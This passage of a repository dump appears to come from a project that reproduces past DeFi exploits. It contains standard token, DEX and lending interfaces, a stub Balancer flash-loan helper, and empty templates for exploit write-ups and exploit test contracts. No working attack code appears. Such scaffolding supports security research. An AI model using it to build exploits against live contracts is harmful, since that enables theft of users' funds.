Moves `amount` tokens from `from` to `to` using the 73 | * allowance mechanism. `amount` is then deducted from the caller's 74 | * allowance. 75 | * 76 | * Returns a boolean value indicating whether the operation succeeded. 77 | * 78 | * Emits a {Transfer} event. 79 | */ 80 | function transferFrom( 81 | address from, 82 | address to, 83 | uint256 amount 84 | ) external returns (bool); 85 | } -------------------------------------------------------------------------------- /test/interfaces/IWETH9.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | interface IWETH9 { 5 | function name() external view returns (string memory); 6 | 7 | function approve(address guy, uint256 wad) external returns (bool); 8 | 9 | function totalSupply() external view returns (uint256); 10 | 11 | function transferFrom( 12 | address src, 13 | address dst, 14 | uint256 wad 15 | ) external returns (bool); 16 | 17 | function withdraw(uint256 wad) external; 18 | 19 | function decimals() external view returns (uint8); 20 | 21 | function balanceOf(address) external view returns (uint256); 22 | 23 | function symbol() external view returns (string memory); 24 | 25 | function transfer(address dst, uint256 wad) external returns (bool); 26 | 27 | function deposit() external payable; 28 | 29 | function allowance(address, address) external view returns (uint256); 30 | 31 | event Approval(address indexed src, address indexed guy, uint256 wad); 32 | event Transfer(address indexed src, address indexed dst, uint256 wad); 33 | event Deposit(address indexed dst, uint256 wad); 34 | event Withdrawal(address indexed src, uint256 wad); 35 | } -------------------------------------------------------------------------------- /test/readme.template.txt: -------------------------------------------------------------------------------- 1 | # Exploited Protocol Name 2 | - **Type:** Exploit 3 | - **Network:** CHAIN 4 | - **Total lost:** ~X 5 | - **Category:** ATTACK CATEGORY 6 | - **Vulnerable contracts:** 7 | - - [Exploited Contract](https://etherscan.io/address/ADDR#code) 8 | - **Tokens Lost** 9 | - - 10 | 11 | - **Attack transactions:** 12 | - - [Attack Tx](https://etherscan.io/tx/TX) 13 | 14 | - - Deployer EOA: [ADDR](https://etherscan.io/address/ADDR) 15 | 16 | - **Attack Block:**: BLOCK 17 | - **Date:** DATE 18 | - **Reproduce:** `forge test --match-contract Exploit_NAME -vvv` 19 | 20 | ## Step-by-step Overview 21 | 22 | 1. Step 1 23 | 2. Step 2 24 | 25 | 26 | ## Detailed Description 27 | 28 | 29 | ```solidity 30 | 31 | ``` 32 | 33 | 34 | ## Possible mitigations 35 | 36 | 1. 37 | 38 | ## Sources and references 39 | 40 | - [Source](https://link_to_source) 41 | 42 | -------------------------------------------------------------------------------- /test/reproduction.template.txt: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 7 | import {IERC20} from "../../interfaces/IERC20.sol"; 8 | import {IWETH9} from "../../interfaces/IWETH9.sol"; 9 | 10 | contract Exploit_PROTOCOL_NAME is TestHarness{ 11 | 12 | } -------------------------------------------------------------------------------- /test/utils/BalancerFlashloan.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | interface IBalancer { 5 | function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData) external payable; 6 | } 7 | 8 | // To use this flashloan module, just call inherit it and call balancer.flashloan(params) 9 | 10 | contract BalancerFlashloan { 11 | IBalancer public constant balancer = IBalancer(0xBA12222222228d8Ba445958a75a0704d566BF2C8); 12 | 13 | } -------------------------------------------------------------------------------- /test/utils/ICompound.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | interface ICompound { 4 | function borrow(uint256 borrowAmount) external; 5 | function repayBorrow(uint256 repayAmount) external; 6 | function redeem(uint256 redeemAmount) external; 7 | function mint(uint256 amount) external; 8 | function comptroller() external view returns(address); 9 | } -------------------------------------------------------------------------------- /test/utils/ICurve.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | interface ICurve { 4 | function get_virtual_price() external view returns (uint); 5 | 6 | function add_liquidity(uint[2] calldata amounts, uint min_mint_amount) 7 | external 8 | payable 9 | returns (uint); 10 | 11 | function remove_liquidity(uint lp, uint[2] calldata min_amounts) 12 | external 13 | returns (uint[2] memory); 14 | 15 | function remove_liquidity_one_coin( 16 | uint lp, 17 | int128 i, 18 | uint min_amount 19 | ) external returns (uint); 20 | 21 | function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external; 22 | } -------------------------------------------------------------------------------- /test/utils/IPancakeRouter01.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | interface IPancakeRouter01 { 5 | 6 | function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] memory path, address to, uint deadline) 7 | external 8 | returns (uint[] memory amounts); 9 | } -------------------------------------------------------------------------------- /test/utils/IPancakeV3NonfungiblePositionManager.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0-or-later 2 | pragma solidity >=0.7.5; 3 | pragma abicoder v2; 4 | 5 | import {IPoolInitializer} from './IPancakeV3PoolInitializer.sol'; 6 | 7 | /// @title Non-fungible token for positions 8 | /// @notice Wraps PancakeSwap V3 positions in a non-fungible token interface which allows for them to be transferred 9 | /// and authorized. 10 | interface INonfungiblePositionManager is 11 | IPoolInitializer 12 | { 13 | struct MintParams { 14 | address token0; 15 | address token1; 16 | uint24 fee; 17 | int24 tickLower; 18 | int24 tickUpper; 19 | uint256 amount0Desired; 20 | uint256 amount1Desired; 21 | uint256 amount0Min; 22 | uint256 amount1Min; 23 | address recipient; 24 | uint256 deadline; 25 | } 26 | 27 | /// @notice Creates a new position wrapped in a NFT 28 | /// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized 29 | /// a method does not exist, i.e. the pool is assumed to be initialized. 30 | /// @param params The params necessary to mint a position, encoded as `MintParams` in calldata 31 | /// @return tokenId The ID of the token that represents the minted position 32 | /// @return liquidity The amount of liquidity for this position 33 | /// @return amount0 The amount of token0 34 | /// @return amount1 The amount of token1 35 | function mint(MintParams calldata params) 36 | external 37 | payable 38 | returns ( 39 | uint256 tokenId, 40 | uint128 liquidity, 41 | uint256 amount0, 42 | uint256 amount1 43 | ); 44 | 45 | } -------------------------------------------------------------------------------- /test/utils/IPancakeV3PoolInitializer.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0-or-later 2 | pragma solidity >=0.7.5; 3 | pragma abicoder v2; 4 | 5 | /// @title Creates and initializes V3 Pools 6 | /// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that 7 | /// require the pool to exist. 8 | interface IPoolInitializer { 9 | /// @notice Creates a new pool if it does not exist, then initializes if not initialized 10 | /// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool 11 | /// @param token0 The contract address of token0 of the pool 12 | /// @param token1 The contract address of token1 of the pool 13 | /// @param fee The fee amount of the v3 pool for the specified token pair 14 | /// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value 15 | /// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary 16 | function createAndInitializePoolIfNecessary( 17 | address token0, 18 | address token1, 19 | uint24 fee, 20 | uint160 sqrtPriceX96 21 | ) external payable returns (address pool); 22 | } -------------------------------------------------------------------------------- /test/utils/IPancakeV3SwapCallback.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0-or-later 2 | pragma solidity >=0.5.0; 3 | 4 | /// @title Callback for IPancakeV3PoolActions#swap 5 | /// @notice Any contract that calls IPancakeV3PoolActions#swap must implement this interface 6 | interface IPancakeV3SwapCallback { 7 | /// @notice Called to `msg.sender` after executing a swap via IPancakeV3Pool#swap. 8 | /// @dev In the implementation you must pay the pool tokens owed for the swap. 9 | /// The caller of this method must be checked to be a PancakeV3Pool deployed by the canonical PancakeV3Factory. 10 | /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. 11 | /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by 12 | /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. 13 | /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by 14 | /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. 15 | /// @param data Any data passed through by the caller via the IPancakeV3PoolActions#swap call 16 | function pancakeV3SwapCallback( 17 | int256 amount0Delta, 18 | int256 amount1Delta, 19 | bytes calldata data 20 | ) external; 21 | } -------------------------------------------------------------------------------- /test/utils/IUniswapV2Factory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | interface IUniswapV2Factory { 5 | event PairCreated(address indexed token0, address indexed token1, address pair, uint); 6 | 7 | function feeTo() external view returns (address); 8 | function feeToSetter() external view returns (address); 9 | 10 | function getPair(address tokenA, address tokenB) external view returns (address pair); 11 | function allPairs(uint) external view returns (address pair); 12 | function allPairsLength() external view returns (uint); 13 | 14 | function createPair(address tokenA, address tokenB) external returns (address pair); 15 | 16 | function setFeeTo(address) external; 17 | function setFeeToSetter(address) external; 18 | 19 | } -------------------------------------------------------------------------------- /test/utils/IUniswapV2Pair.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | interface IUniswapV2Pair { 5 | event Approval(address indexed owner, address indexed spender, uint value); 6 | event Transfer(address indexed from, address indexed to, uint value); 7 | 8 | function name() external pure returns (string memory); 9 | function symbol() external pure returns (string memory); 10 | function decimals() external pure returns (uint8); 11 | function totalSupply() external view returns (uint); 12 | function balanceOf(address owner) external view returns (uint); 13 | function allowance(address owner, address spender) external view returns (uint); 14 | 15 | function approve(address spender, uint value) external returns (bool); 16 | function transfer(address to, uint value) external returns (bool); 17 | function transferFrom(address from, address to, uint value) external returns (bool); 18 | 19 | function DOMAIN_SEPARATOR() external view returns (bytes32); 20 | function PERMIT_TYPEHASH() external pure returns (bytes32); 21 | function nonces(address owner) external view returns (uint); 22 | 23 | function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; 24 | 25 | event Mint(address indexed sender, uint amount0, uint amount1); 26 | event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); 27 | event Swap( 28 | address indexed sender, 29 | uint amount0In, 30 | uint amount1In, 31 | uint amount0Out, 32 | uint amount1Out, 33 | address indexed to 34 | ); 35 | event Sync(uint112 reserve0, uint112 reserve1); 36 | 37 | function MINIMUM_LIQUIDITY() external pure returns (uint); 38 | function factory() external view returns (address); 39 | function token0() external view returns (address); 40 | function token1() external view returns (address); 41 | function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); 42 | function price0CumulativeLast() external view returns (uint); 43 | function price1CumulativeLast() external view returns (uint); 44 | function kLast() external view returns (uint); 45 | 46 | function mint(address to) external returns (uint liquidity); 47 | function burn(address to) external returns (uint amount0, uint amount1); 48 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; 49 | function skim(address to) external; 50 | function sync() external; 51 | 52 | function initialize(address, address) external; 53 | } 54 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "esModuleInterop": true, 7 | "outDir": "dist", 8 | "declaration": true, 9 | "resolveJsonModule": true 10 | }, 11 | "include": ["./tasks", "./test", "./typechain-types"], 12 | "files": ["./hardhat.config.ts"] 13 | } --------------------------------------------------------------------------------